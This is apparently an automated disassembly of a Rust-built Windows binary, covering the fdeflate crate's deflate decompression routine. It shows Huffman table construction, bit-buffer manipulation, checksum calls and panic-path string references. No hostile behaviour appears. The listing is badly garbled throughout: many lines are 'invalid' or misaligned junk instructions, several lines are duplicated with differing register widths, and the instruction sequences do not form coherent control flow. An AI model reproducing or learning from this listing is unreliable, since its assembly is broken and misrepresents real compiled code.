lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
sbb eax, dword [rax]
sbb eax, dword [rax]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbx + 0x40]
mov qword [rbx + 0x98], r8
add byte [rax], al
add al, ch
invalid
jmp 0x1400340be
dec dword [rbx + rcx*4 + 0x43]
jo 0x14003410e
cmp eax, 0x10
ja 0x1400340d4
add byte [rax], al
add al, ch
invalid
cmp r14, 0x10
jae 0x1400341d7
cmp r14, 0x10
push 0x10
pop rax
cmovae r14, rax
cmovae esi, eax
lea rcx, [rbx + 0xd0]
xor edx, edx
mov r9, r14
call fcn.140033724
mov rax, qword [rbx + 0xd0]
add byte [rax - 0x75], cl
mov ebx, 0xd8
mov edi, dword [rbx + 0xd8]
mov r14, qword [rbx + 0xe0]
lea rcx, [r14 + 1]
mov qword [rbx + 0x70], rcx
not r14
xor edx, edx
push 1
pop rcx
test dl, 1
mov r9, qword [rbx + 0x98]
je 0x140034137
mov r12, qword [rbx + 0x70]
test rdi, rdi
cmove r12, rdi
out 0xf, eax
invalid
movsd dword [rdi], dword [rsi]
add byte [rax], al
invalid
add r12, rax
jmp 0x14003416d
neg rax
xor edx, edx
cmp rcx, rdx
je 0x140034152
cmp rdi, rdx
je 0x1400341d7
add byte [rax], al
add byte [rax], al
inc rdx
add rax, r14
jmp 0x14003413c
cmp rdi, rdx
mov r12, qword [rbx + 0x70]
mov ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmove r12, rcx
sub rdi, rdx
je 0x1400341d7
sub r12, rax
neg rax
lea r8, [rax + r9]
add r9, rax
add r9, 0x10
add rax, qword [rbx + 0x48]
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rbx + 0x58]
call fcn.140032bce
dec rdi
mov dl, 1
add dword [rcx], esi
leave
mov rax, r12
jmp 0x140034115
lea r9, [rsi + r12]
lea ecx, [rsi + riz]
sub r9, r14
sub ecx, esi
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], r12
mov rcx, qword [rbx + 0x40]
call fcn.140032bce
mov rax, qword [rbx + 0x70]
cmp rdi, rax
jb 0x140034ab3
invalid
fmul qword [rax]
add byte [rax], al
invalid
add rsi, qword [rbx + 0x48]
mov r14, qword [rbx + 0x40]
mov al, byte [rbx + 0x4c6b]
add byte [rax], al
jmp 0x140033bbc
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x88]
xchg ebx, eax
mov byte [rax], al
add byte [rax], al
call fcn.140032d87
movzx eax, byte [rbx + 0x4c6a]
mov dh, 0x83
push 0x4c
add byte [rax], al
mov rcx, qword [rbx + 0x90]
nop
add byte [rax], al
add byte [rax - 0x73], cl
add al, 0xc8
invalid
lea rax, [rax + rcx*8]
enter 0xffffffffffff8b48, 0xffffffffffffffb3
adc byte [rax + rax], cl
mov rsi, qword [rbx + 0x4c10]
lea rcx, [rsi + rsi*2]
or al, 0x76
cmp rax, rcx
jb 0x140034979
invalid
push rsi
invalid
add byte [rax], al
movaps xmmword [rbx + 0x110], xmm6
and dword [rbx + 0x11f], 0
xor eax, eax
cmp rax, rsi
je case.0x14000e34e.183
sub byte [rax + rax], al
invalid
sub byte [rax + rax], al
add byte [rax - 0x7d], cl
clc
adc ecx, dword [rdi]
cmp rax, 0x13
je 0x140034e3a
test ah, dh
or eax, dword [rax]
invalid
test ah, dh
hlt
or eax, dword [rax]
add byte [rax - 0x73], cl
lea rcx, [0x1401e3878]
or eax, 0x1af62b
mov rcx, qword [rcx + rax*8]
cmp rcx, 0x13
stc
adc ecx, dword [rdi]
xor esi, 0xb
add byte [rax], al
xor esi, 0xb
add byte [rax], al
or eax, dword [rax]
add byte [rax - 0x73], cl
lea rdi, [rax + 1]
js 0x140034260
mov rdx, qword [rbx + 0x4c30]
mov edx, dword [rbx + 0x4c30]
mov r8d, edx
shr rdx, 3
ror byte [rax - 0x3f], 1
invalid
mov qword [rbx + 0x4c30], rdx
add byte [rbx + 0x4c6a], 0xfd
add byte [rax], r8b
std
add byte [rax], r8b
add byte [rax], al
std
and r8b, 7
loopne 0x140034286
mov byte [rbx + rcx + 0x110], r8b
cmp rax, 0x11
add byte [rax - 0x7d], cl
clc
adc dword [rax - 0x77], ecx
invalid
invalid
mov rax, rdi
clc
jne case.0x140013145.154
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x88]
add byte [rax - 0x73], cl
xchg ebx, eax
mov byte [rax], al
add byte [rax], al
call fcn.140032d87
mov rax, rdi
jmp case.0x140013145.154
invalid
mov rdi, qword [rbx + 0x4c08]
mov r11, qword [rbx + 0x4c18]
add rdi, qword [rbx + 0x4c00]
cmp r11, rdi
jae 0x1400347bb
lea rcx, [rbx + 0x180]
add byte [rax], al
lea rdx, [rbx + 0x88]
call fcn.140032d87
mov cl, byte [rbx + 0x4c6a]
add byte [rax], al
add byte [rax], al
cmp cl, 7
jb 0x140034979
add byte [rax], al
add byte [rax], al
mov r8, qword [rbx + 0x4c30]
mov eax, r8d
and eax, 0x7f
movzx r9d, byte [rbx + rax + 0x4a40]
mov edx, r9d
and edx, 7
mov eax, r9d
shr eax, 3
test r9b, r9b
mov r14, qword [rbx + 0x40]
js 0x140034352
mov rcx, qword [rbx + 0x4c18]
cmp rcx, 0x140
cmp ecx, 0x140
cmp ecx, 0x140
jae 0x140034e65
add byte [rax], al
mov byte [rbx + rcx + 0x4ac0], al
mov r11, qword [rbx + 0x4c18]
mov r8, qword [rbx + 0x4c30]
inc r11
mov qword [rbx + 0x4c18], r11
mov ecx, edx
shr r8, cl
shr eax, cl
mov eax, edx
jmp 0x140034434
cmp r9b, 0x98
jae 0x140034fe7
cmp eax, 0x12
je 0x140034376
cmp eax, 0x11
jne 0x140034388
and cl, byte [rbp - 0x3ec7fcbe]
lea eax, [rdx + 3]
cmp cl, al
jb case.default.0x140034499
xor r10d, r10d
jmp 0x1400343bc
lea eax, [rdx + 7]
cmp cl, al
jb case.default.0x140034499
xor r10d, r10d
push 0xb
jmp 0x1400343be
lea eax, [rdx + 2]
cmp cl, al
jb case.default.0x140034499
mov r9, qword [rbx + 0x4c18]
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
sub rcx, 1
jb 0x140034aea
invalid
add byte [rcx - 0x7f], cl
cmp r9, 0x140
ja 0x140034eb7
stc
add dword [rax], eax
add byte [rdi], cl
xchg dword [rbx], eax
or eax, dword [rax]
add byte [rdx + rcx*4 - 0x6c], al
invalid
xchg esp, eax
mov r10b, byte [rbx + rcx + 0x4ac0]
mov dl, byte [rbx + rcx + 0x4ac0]
xchg esp, eax
or eax, eax
add byte [rax], al
push 3
add eax, dword [rcx + 0x59]
pop r9
push 0xffffffffffffffff
pop r11
mov ecx, eax
shl r11d, cl
not r11d
and r8d, r11d
mov ecx, edx
shr r8, cl
add r8, r9
enter 0xffffffffffff8b4c, 0xffffffffffffff9b
sbb byte [rax + rax], cl
enter 0xffffffffffff8b4c, 0xffffffffffffff9b
sbb byte [rax + rax], cl
add byte [rax], r8b
lea rcx, [r8 + r11]
cmp rcx, rdi
ja 0x140034aea
xchg edi, edi
invalid
add byte [rax], al
xchg edi, edi
invalid
movzx ecx, al
xor edx, edx
cmp r8, rdx
je 0x140034420
lea r9, [r11 + rdx]
lea ecx, [rbx + rdx]
cmp r9, 0x140
jae 0x140034df6
lea r9, [rbx + 0x4ac0]
add byte [rax], al
add r11, r9
mov byte [rdx + r11], r10b
inc rdx
ret 0x8b4c
wait
sbb byte [rax + rax], cl
add byte [rax], r8b
ret 0x8b4c
add byte [rax], r8b
jmp 0x1400343f0
add r11, r8
mov qword [rbx + 0x4c18], r11
mov r8, qword [rbx + 0x4c30]
mov eax, dword [rbx + 0x4c30]
mov eax, dword [rbx + 0x4c30]
xor byte [rax + rax], cl
shr r8, cl
mov qword [rbx + 0x4c30], r8
sub byte [rbx + 0x4c6a], al
jmp case.0x1400115e7.155
lea rcx, [rbx + 0x180]
add byte [rax], al
lea rdx, [rbx + 0x88]
call fcn.140032d87
mov r9b, byte [rbx + 0x4c6a]
cmp r9b, 3
mov r14, qword [rbx + 0x40]
mov esi, dword [rbx + 0x40]
jb case.default.0x140034499
mov r10, qword [rbx + 0x4c30]
mov eax, r10d
and al, 1
mov byte [rbx + 0x4c6c], al
sub dword [rsp + rcx*2], 0
sub dword [rsp + rcx*2], 0
mov eax, r10d
mov eax, edx
shr eax, 1
and eax, 3
mov r12b, 1
lea rcx, [0x14028b784]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
lea edx, [r9 + 5]
and dl, 7
lea eax, [rdx + 0x23]
sub r9b, al
jb case.default.0x140034499
idiv bh
invalid
lea r8d, [rdx + 0x13]
push 0xffffffffffffffff
pop rcx
mov r11d, ecx
mov ecx, r8d
shl r11d, cl
not r11d
and r11d, r10d
add dl, 3
ret 0x8903
ror dword [rcx - 0x2d], 1
jmp 0x140034537
call [rdx - 0x77]
invalid
ret 0x8903
shl rdx, cl
not rdx
not edx
not edx
and rdx, r10
mov ecx, r8d
shr rdx, cl
xor edx, r11d
cmp dx, 0xffff
cli
dec dword [rdi]
invalid
mov word [rdi], es
add byte [rax], al
cli
dec dword [rdi]
test dword [rdi + rax - 0x49f10000], ecx
enter 0xffffffffffffd349, 0xffffffffffffffea
movzx ecx, al
shr r10, cl
mov byte [rbx + 0x4c6b], 5
mov word [rbx + 0x4c68], r11w
mov qword [rbx + 0x4c30], r10
mov byte [rbx + 0x4c6a], r9b
jmp case.default.0x140034499
mov r9b, byte [rbx + 0x4c6a]
movzx eax, word [rbx + 0x4c68]
mov rdx, qword [rbx + 0x4c30]
mov r8, qword [rbx + 0x58]
pop r8
mov rcx, qword [rbx + 0x48]
test r9b, r9b
je 0x140034569
test ax, ax
je 0x140034569
cmp r8, rcx
jbe 0x140034569
mov byte [r14 + rcx], dl
shr rdx, 8
mov qword [rbx + 0x4c30], rdx
xchg ebx, eax
xor byte [rax + rax], cl
add r9b, 0xf8
mov byte [rbx + 0x4c6a], r9b
inc rcx
dec eax
mov word [rbx + 0x4c68], ax
jmp 0x140034532
test r9b, r9b
jne 0x140034576
and qword [rbx + 0x4c30], 0
movzx eax, ax
mov rdi, qword [rbx + 0x90]
cmp rax, rdi
cmovae rax, rdi
mov rsi, r8
sub rsi, rcx
cmp rax, rsi
invalid
cmovb rsi, rax
cmovb esi, eax
cmovb esi, eax
mov qword [rbx + 0x48], rcx
mov rdx, r14
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
add al, ch
lodsd eax, dword [rsi]
test dh, bh
dec dword [rcx - 0x77]
ror byte [rax - 0x77], 1
int1
add al, ch
lodsd eax, dword [rsi]
test dh, bh
dec dword [rcx - 0x77]
ror byte [rax - 0x77], 1
int1
mov rdx, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
lea ecx, [0x1401e87e8]
call fcn.140060ae0
mov r14, qword [rbx + 0x88]
add byte [rax], al
add byte [rax], al
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rax
mov r8, r14
ror dword [rbp - 0x77], 0xf0
mov r9, rsi
call fcn.1401c59a4
mov rcx, rsi
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.14001ca54
dec dword [rax - 0x77]
invalid
mov byte [rax], al
add byte [rax], al
dec dword [rax - 0x77]
or dword [rax + 0x48000000], 0xffffff89
xchg ebx, eax
nop
add byte [rax], al
add byte [rax + 1], cl
add dword [rbx + 0x48], esi
mov qword [rbx + 0x90], rdx
add qword [rbx + 0x48], rsi
add dword [rbx + 0x48], esi
add dword [rbx + 0x48], esi
sub word [rbx + 0x4c68], si
sub word [rbx + 0x4c68], si
mov r14, qword [rbx + 0x40]
jne case.default.0x140034499
test ebx, ebp
hlt
invalid
invalid
xor eax, eax
cmp byte [rbx + 0x4c6c], 0
setne al
lea eax, [rax + rax*4]
inc eax
mov byte [rbx + 0x4c6b], al
sub dword [rbx + 0x4c], 0
add cl, ch
iretd
hlt
invalid
invalid
sub dword [rbx + 0x4c], 0
add cl, ch
iretd
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x88]
call fcn.140032d87
movzx eax, byte [rbx + 0x4c6a]
mov esi, eax
and esi, 7
lea ecx, [rsi + 0x20]
mov byte [rbx + 0x4e8d07e6], 0x20
cmp al, cl
mov r14, qword [rbx + 0x40]
jb case.default.0x140034499
jmp 0x140034b1d
add byte [rdi], cl
sub dword [rbx + 0xe0], esi
movaps xmmword [rbx + 0xe0], xmm6
and qword [rbx + 0xee], 0
movaps xmmword [rbx + 0xd0], xmm6
xor eax, eax
mov dl, 1
push 1
pop r11
cmp dl, 0x11
je 0x1400346ff
adc dword [rax + rdi*2 - 0x77], esi
sal esi, 1
fld dword [rax - 0x49f0f01f]
leave
mov ecx, edx
neg cl
and cl, 0xf
movzx ecx, cl
xor r8d, r8d
cmp r8, 0x13
je 0x1400346f9
adc esi, dword [rdi + rbx*2 + 0x42]
cmp byte [rbx + rax + 0x110], dl
cmp byte [rbx + r8 + 0x110], dl
jne case.0x140023121.147
mov r9d, eax
rol r9w, 8
rol r9d, 8
rol r9d, 8
or byte [rbp - 0x77], al
retf 0xc141
mov r10d, r9d
shr r10d, 4
mov esi, 0xf0f
and r10d, esi
and r9d, esi
shl r9d, 4
or r9d, r10d
rol dword [rbp - 0x77], 1
retf 0x2145
invalid
shr r9d, 2
and r9d, r13d
lea r9d, [r9 + r10*4]
or al, 0x91
mov r10d, r9d
and r10d, r15d
shr r9d, 1
and r9d, r15d
lea r9d, [r9 + r10*2]
or al, 0x51
or al, 0x51
shr r9d, cl
mov word [rbx + r8*2 + 0xd0], r9w
mov dword [rbx + rax*2 + 0xd0], ecx
inc eax
inc r8
jmp case.0x140010276.171
add eax, eax
inc dl
jmp 0x140034682
cmp eax, 0x20000
jne 0x140034c57
mov rax, qword [rbx + 0xee]
mov qword [rbx + 0x15e], rax
movaps xmm0, xmmword [rbx + 0xd0]
movaps xmm1, xmmword [rbx + 0xe0]
movaps xmmword [rbx + 0x150], xmm1
add byte [rdi], cl
sub dword [rbx + 0x140], eax
add byte [rdi], cl
sub dword [rbx + 0x140], eax
lea rax, [rbx + 0x4a40]
movdqa xmmword [rax + 0x70], xmm7
movdqa xmmword [rax + 0x60], xmm7
movdqa xmmword [rax + 0x50], xmm7
movdqa xmmword [rax + 0x40], xmm7
movdqa xmmword [rax + 0x30], xmm7
movq qword [rax + 0x30], mm7
movdqa xmmword [rax + 0x20], xmm7
movdqa xmmword [rax + 0x10], xmm7
movdqa xmmword [rax], xmm7
xor edx, edx
cmp rdx, 0x13
je 0x1400347a7
mov rax, rdx
inc rdx
movzx ecx, byte [rbx + rax + 0x110]
test rcx, rcx
je 0x140034764
ror byte [rax - 1], 1
ret 0xb60f
movzx r8d, word [rbx + rax*2 + 0x140]
shl al, 3
or al, cl
and cl, 0xf
mov r9, r11
shl r9, cl
cmp r8, 0x7f
ja 0x140034764
mov byte [rbx + r8 + 0x4a40], al
add r8, r9
jmp 0x140034794
mov byte [rbx + 0x4c6b], 3
and qword [rbx + 0x4c18], 0
jmp 0x140034979
mov r8, qword [rbx + 0x4c00]
mov eax, dword [rbx + 0x4c00]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x120
mov edx, 0x140
lea rcx, [rbx + 0x4ac0]
mov r9, rdi
call fcn.140032bce
mov rax, qword [rbx + 0x4c00]
cmp rax, 0x120
jae 0x140034807
mov byte [rbx + rax + 0x4ac0], 0
inc rax
jmp 0x1400347f2
test byte [rbx], al
ror byte [rdx], 0
add byte [rax - 1], cl
shr bl, 0xeb
mov rax, qword [rbx + 0x4c08]
add byte [rax], r8b
mov ecx, 0x4a60
add rax, rcx
lea rcx, [rax - 0x4940]
cmp rcx, 0x140
jae 0x140034833
mov byte [rbx + rax + 0x180], 0
inc rax
jmp 0x140034816
add byte [rax], al
add byte [rax - 1], cl
shr bl, 0xe3
cmp qword [rbx + 0x4c08], 1
jne 0x140034894
mov r8d, 0x11e
lea rcx, [rbx + 0x4ac0]
lea rdx, [0x1401fae0e]
lea edx, [0x1401fae0e]
lea edx, [0x1401fae0e]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140034894
cmp byte [rbx + 0x4be0], 1
mov ebx, 0x4be0
add dword [rbp + 0x31], esi
jne 0x140034894
jne 0x140034894
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
mov edx, dword [rbx + 0x188]
mov edx, dword [rbx + 0x188]
call fcn.140005158
mov r8d, 0x48c0
lea rcx, [rbx + 0x180]
lea rdx, [0x1401e3980]
call sub.VCRUNTIME140.dll_memcpy
sbb eax, 0xdee90019
add byte [rax], al
invalid
sbb eax, 0xdee90019
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rax]
add byte [rax], r8b
mov rcx, qword [rbx + 0x4c00]
lea rdx, [rbx + 0x4ac0]
lea r8, [rbx + 0x180]
call fcn.140032e86
invalid
invalid
cmp al, 0x10
je 0x140034972
invalid
jmp 0x140034c5e
cmp r9b, 0x11
cmp cl, 0x11
jb case.default.0x140034499
mov ecx, r10d
shr ecx, 3
and ecx, 0x1f
loope 0x1400348ed
loope 0x1400348ed
lea rax, [rcx + 0x101]
mov qword [rbx + 0x4c00], rax
mov eax, r10d
shr eax, 8
and eax, 0x1f
lea rdx, [rax + 1]
mov qword [rbx + 0x4c08], rdx
or byte [rax + rax], cl
or byte [rax + rax], cl
add byte [rax], r8b
mov edx, r10d
shr edx, 0xd
and edx, 0xf
add rdx, 4
mov qword [rbx + 0x4c10], rdx
add byte [rax], r8b
cmp ecx, 0x1d
ja 0x140034c75
cmp eax, 0x1d
mov rcx, qword [rbx + 0x68]
ja 0x140034c7d
shr r10, 0x11
mov qword [rbx + 0x4c30], r10
add r9b, 0xef
mov byte [rbx + 0x4c6a], r9b
mov byte [rbx + 0x4c6b], 2
jmp case.default.0x140034499
invalid
shr r10, 3
mov qword [rbx + 0x4c30], r10
add byte [rax], al
add r9b, 0xfd
mov byte [rbx + 0x4c6a], r9b
mov ecx, 0x120
lea rdx, str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_b_b_b_b_b_b_b_b
lea r8, [rbx + 0x180]
call fcn.140032e86
cmp al, 0x10
jne 0x140034c61
mov byte [rbx + 0x4c6b], 4
mov r14, qword [rbx + 0x40]
jmp case.default.0x140034499
mov qword [rbx + 0x48], r10
mov r14, qword [rbx + 0x40]
cmp byte [rbx + 0x4c6b], 4
jne case.default.0x140034499
cmp qword [rbx + 0x4c50], 0
jne case.default.0x140034499
cmp qword [rbx + 0x4c38], 0
jne case.default.0x140034499
mov dl, byte [rbx + 0x4c6a]
cmp dl, 0xf
jb case.default.0x140034499
mov rax, qword [rbx + 0x4c30]
movzx ecx, word [rbx + 0x4a30]
and cx, ax
and ecx, 0x7fff
cmp cx, word [rbx + 0x4a2e]
add byte [rax], al
add byte [rax], al
jne case.default.0x140034499
mov cl, byte [rbx + 0x4a32]
shr rax, cl
mov qword [rbx + 0x4c30], rax
sub dl, cl
jmp 0x140034a3f
invalid
add rsi, rdi
cmp rsi, rdx
jne 0x140034a4a
cmp rdx, rdi
jbe 0x140034fcf
add byte [rax], al
mov r9d, eax
shr r9d, 0x10
mov ecx, eax
shr r11, cl
mov byte [r14 + rdi], r9b
or al, 0x3e
or al, 0x3e
jmp 0x140034a7e
test al, al
je 0x140034c88
mov dl, byte [rbx + 0x4c6a]
sub dl, al
jb 0x14003498a
mov ecx, eax
shr r11, cl
mov qword [rbx + 0x4c30], r11
mov byte [rbx + 0x4c6a], dl
jmp 0x140034615
cmp rdx, rdi
jbe 0x140034fb7
mov ecx, eax
shr ecx, 0x10
mov byte [r14 + rdi], cl
mov ecx, eax
shr ecx, 0x18
push 1
pop r9
mov qword [rbx + 0x4c38], r9
mov byte [rbx + 0x4c40], cl
mov ecx, eax
shr r11, cl
mov qword [rbx + 0x4c48], r9
mov qword [rbx + 0x4c30], r11
mov byte [rbx + 0x4c6a], r8b
mov qword [rbx + 0x48], r10
jmp 0x14003498a
sub rax, rsi
mov qword [rbx + 0x4c38], 1
add byte [rax], al
mov byte [rbx + 0x4c40], r14b
mov qword [rbx + 0x4c48], rax
jmp 0x140034acf
sub rax, rsi
mov qword [rbx + 0x4c50], 1
mov qword [rbx + 0x4c58], r14
mov qword [rbx + 0x4c60], rax
mov rax, qword [rbx + 0x58]
mov qword [rbx + 0x48], rax
jmp 0x140034986
mov rsi, qword [rbx + 0x60]
mov al, 0xb
mov dword [rbx + 0x3c], eax
jmp 0x140034c94
mov r12b, 1
mov al, 6
jmp 0x140034c8d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
jae 0x140034b58
mov rsi, qword [rbx + 0x60]
mov dword [rbx + 0x3c], 0
jmp 0x140034c94
mov r12b, 1
mov al, 0xd
jmp 0x140034c8d
mov al, byte [rbx + 0x4c6b]
mov r14, qword [rbx + 0x40]
jmp case.default.0x140033b27
mov rdx, qword [rbx + 0x48]
mov r9, rdx
mov rcx, qword [rbx + 0x78]
sub r9, rcx
jb 0x140035065
cmp rdx, qword [rbx + 0x58]
ja 0x140035073
lea r8, [r14 + rcx]
movzx ecx, word [rbx + 0x4c28]
movzx edx, word [rbx + 0x4c2a]
call qword [rbx + 0x4c20]
mov word [rbx + 0x4c28], ax
add byte [rax], al
mov word [rbx + 0x4c2a], dx
mov rax, qword [rbx + 0x4c30]
test sil, sil
je 0x140034b80
add byte [rax - 0x7c], al
div byte [rbx + rdx - 0x77]
int1
mov ecx, esi
shr rax, cl
mov qword [rbx + 0x4c30], rax
sub byte [rbx + 0x4c6a], sil
mov r14, qword [rbx + 0x40]
cmp byte [rbx + 0x4c6d], 0
jne 0x140034b9d
mov ecx, eax
bswap ecx
cmp ecx, dword [rbx + 0x4c28]
jne 0x140034c6a
mov byte [rbx + 0x4c6b], 7
shr rax, 0x20
mov qword [rbx + 0x4c30], rax
add byte [rbx + 0x4c6a], 0xe0
push 0x4c
add byte [rax], al
loopne 0x140034b67
invalid
push 0x4c
add byte [rax], al
loopne 0x140034b67
invalid
cmp byte [rbx + 0x4c6d], 0
jne 0x140034c14
cmp al, 7
mov r8, qword [rbx + 0x58]
je 0x140034c18
mov rdx, qword [rbx + 0x48]
mov r9, rdx
mov rcx, qword [rbx + 0x78]
mov ecx, dword [rbx + 0x78]
sub r9, rcx
jb 0x140035057
cmp rdx, r8
ja 0x140035041
xchg dword [rbx + 4], ebx
add byte [rax], al
xchg dword [rbx + 4], ebx
add byte [rax], al
add r14, rcx
movzx ecx, word [rbx + 0x4c28]
movzx edx, word [rbx + 0x4c2a]
mov bh, 0x93
sub cl, byte [rax + rax]
mov bh, 0x93
sub cl, byte [rax + rax]
mov r8, r14
call qword [rbx + 0x4c20]
mov word [rbx + 0x4c28], ax
mov dword [rbx + 0x4c28], eax
mov dword [rbx + 0x4c28], eax
mov word [rbx + 0x4c2a], dx
mov al, byte [rbx + 0x4c6b]
add byte [rax], r8b
add byte [rax], r8b
mov r8, qword [rbx + 0x58]
cmp al, 7
mov rcx, qword [rbx + 0x68]
je 0x140034c2e
mov al, 1
mov rdx, r8
add dword [rcx + rcx*4 - 0x3e], ecx
mov r12b, 1
cmp qword [rbx + 0x48], r8
jne 0x140034c4e
mov rcx, qword [rbx + 0xc0]
sub rcx, qword [rbx + 0x90]
mov rax, qword [rbx + 0x48]
sub rax, qword [rbx + 0x78]
xor r12d, r12d
mov qword [rbx + 0x60], rax
mov eax, dword [rbx + 0x3c]
mov dword [rbx + 0x3c], eax
mov r8, qword [rbx + 0x60]
jmp 0x140034c9b
mov r12b, 1
mov al, 7
jmp 0x140034c8d
mov r12b, 1
mov rsi, qword [rbx + 0x60]
jmp 0x140034ae2
mov r12b, 1
mov al, 0xe
jmp 0x140034c8d
mov al, 2
jmp 0x140034c8d
mov al, 4
jmp 0x140034c8d
mov al, 3
jmp 0x140034c8d
mov al, 5
mov dword [rbx + 0x3c], eax
mov rsi, qword [rbx + 0x60]
jmp 0x140034c98
mov r12b, 1
mov al, 0xa
mov dword [rbx + 0x3c], eax
mov rsi, qword [rbx + 0x60]
mov rcx, qword [rbx + 0x68]
mov r8, rsi
test r12b, r12b
jne 0x140034d91
mov al, byte [rbx + 0x4c6b]
mov rdx, qword [rbx + 0x78]
mov qword [rbx + 0x60], r8
add rdx, r8
cmp al, 7
je 0x140034ce6
cmp rdx, 0xffffffffffffffff
je 0x140034ce6
mov qword [rbx + 0x68], rcx
add qword [rbx + 0xc8], rcx
mov qword [rbx + 0x78], rdx
add rdx, 0x8000
lea rcx, [rbx + 0xa0]
call fcn.140032cc3
jmp 0x14003393f
lea rcx, [rbx + 0xa0]
call fcn.140032cc3
mov dil, byte [rbx + 0x4c6b]
mov r15, qword [rbx + 0xa0]
mov r14, qword [rbx + 0xa8]
mov rsi, qword [rbx + 0xb0]
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call fcn.140005158
cmp dil, 7
jne 0x140034d3e
mov rax, qword [rbx + 0xb8]
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rsi
jmp 0x140034dd4
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x140034dbc
mov qword [rbx + 0x48], r15
mov qword [rbx + 0x40], r14
lea rax, str.internal_error:_entered_unreachable_code:_Impossible_to_allocate_more_than_isize::MAX_bytes
lea rcx, [rbx + 0x180]
add byte [rax - 0x77], cl
add dword [rax - 0x39], ecx
or byte [r9], al
add byte [rax], al
add byte [rax - 0x73], cl
add dword [rax + 0x48000000], 0xffffff89
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [r15], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0x1b3b61
adc eax, 0x1b3b61
call fcn.1401c6e60
jmp 0x140035087
movzx r14d, byte [rbx + 0x3c]
mov rcx, qword [rbx + 0xa0]
mov rdx, qword [rbx + 0xa8]
call fcn.1400373d1
add byte es:[rax], al
add byte es:[rax], al
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call fcn.140005158
mov rax, qword [rbx + 0xb8]
mov byte [rax + 8], r14b
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov dword [rax], ecx
movaps xmm6, xmmword [rbp + 0x4c10]
movaps xmm7, xmmword [rbp + 0x4c20]
lea rsp, [rbp + 0x4c38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov edx, 0x140
mov rcx, r9
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, rax
mov rdx, r12
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rdx, r12
cmp dword [rbx], ebx
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x13
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x140035087
add al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
shr dl, 1
